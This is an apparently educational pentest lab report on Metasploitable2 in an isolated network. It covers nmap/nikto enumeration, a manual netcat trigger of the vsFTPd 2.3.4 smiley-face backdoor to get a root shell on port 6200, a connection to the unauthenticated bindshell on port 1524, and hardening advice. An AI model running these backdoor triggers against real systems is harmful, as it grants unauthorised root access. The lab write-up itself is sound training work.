danreis20/pentest-lab-metasploitable2Laboratório de pentest em rede isolada: enumeração com nmap/nikto e exploração manual do Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) com relatório técnico completo.
Author: Daniel Stefan de Jesus dos Reis
Date: September/2026
Environment: Personal KVM lab on isolated virtual network pentestlab
This test was conducted exclusively against a self-owned, intentionally vulnerable virtual machine, distributed by Rapid7 specifically for offensive security training purposes, within an isolated virtual network with no internet egress. No third-party systems were accessed. This project is exclusively educational, aimed at developing penetration testing skills.
pentestlab (bridge virbr-lab), subnet 192.168.100.0/24, no <forward> configured — that is, a truly isolated network: the VMs communicate with each other and with the host, but have no route outside the lab. Network XML in evidencias/pentestlab_network.xml.virbr-lab interface, using nmap, nikto, gobuster, hydra, sqlmap, and netcat.metasploitable2 (Metasploitable2, modified Ubuntu 8.04), IP 192.168.100.90/24, assigned via DHCP from the isolated network itself.[ Host / Attacker ]
|
virbr-lab (isolated network, no internet egress)
|
[ metasploitable2 ]
I followed a basic flow of reconnaissance → enumeration → exploitation → documentation:
nmap -sV -sC -p-)nikto)nc, to understand the mechanism of each flaw, not just "run the exploit"Command: nmap -sV -sC -p- -T4 192.168.100.90
Full output: evidencias/nmap_full_scan.txt
Summary of the most relevant services found:
| Port | Service | Version | Note |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Anonymous login allowed + known backdoor |
| 22/tcp | SSH | OpenSSH 4.7p1 | Outdated |
| 23/tcp | Telnet | Linux telnetd | Cleartext protocol |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin and phpinfo.php exposed |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Message signing disabled |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Historically vulnerable to RCE |
| 1524/tcp | bindshell | — | Root shell already open, no authentication |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Historically vulnerable to RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | protocol 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Version associated with a known backdoor |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
Between 06/30/2011 and 07/03/2011, the vsFTPd 2.3.4 source code made available for download was tampered with by an attacker. The compromised version contains a backdoor: upon receiving, in the FTP login username field, a string ending in :), the server opens a root shell on TCP port 6200, without any authentication.
Steps performed (full log in evidencias/vsftpd_backdoor_exploit.txt):
# 1. Trigger the backdoor by sending USER ending in ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Connect to port 6200, opened by the backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Result:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Full root access obtained without authentication.
nmap already identifies this service as Metasploitable root shell — a backdoor intentionally left in the image (leftover from a previous exploit, common in training images). It requires no exploitation: just connect.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Result: uid=0(root) gid=0(root) groups=0(root) — immediate root.
Full log in evidencias/bindshell_1524.txt.
The UnrealIRCd version running on ports 6667/6697 corresponds to a build historically distributed with a backdoor (AB; command followed by a shell command). I tried to trigger the backdoor manually via nc, but the server treated the input as an invalid IRC command (451 :You have not registered) instead of executing the command — either this specific image does not contain the trojanized binary, or the payload requires fine-tuning that I did not prioritize in this round. I record this as an unsuccessful attempt, not as a confirmed vulnerability.
Distributed compilation service that accepts arbitrary commands from any client that connects, without authentication. Identified by version, not exploited in this round.
Historically vulnerable to remote code execution via deserialization. Identified by version, not exploited in this round.
Command: nikto -h 192.168.100.90 -p 80
Full output: evidencias/nikto_scan.txt
Main findings:
TRACE active (potential XST)/phpinfo.php publicly exposed (reveals PHP configuration)/phpMyAdmin/ accessible without IP restriction/doc/, /test/, and /icons/httponly flag| Finding | Recommendation |
|---|---|
| vsFTPd 2.3.4 backdoor | Never use binaries from unofficial/unverified sources; validate package hash/signature before installing |
| Bindshell on port 1524 | Regularly audit open ports (periodic internal nmap); any undocumented shell is an incident |
| distccd exposed without authentication | Restrict to trusted hosts via firewall or disable if not actively used for distributed builds |
| phpMyAdmin/phpinfo.php exposed | Restrict access by IP/VPN, never expose administrative tools publicly |
| Outdated Apache/PHP | Keep patch management process active |
| Directory listing enabled | Disable Options Indexes in Apache |
| SMB with message signing disabled | Enable server signing = mandatory |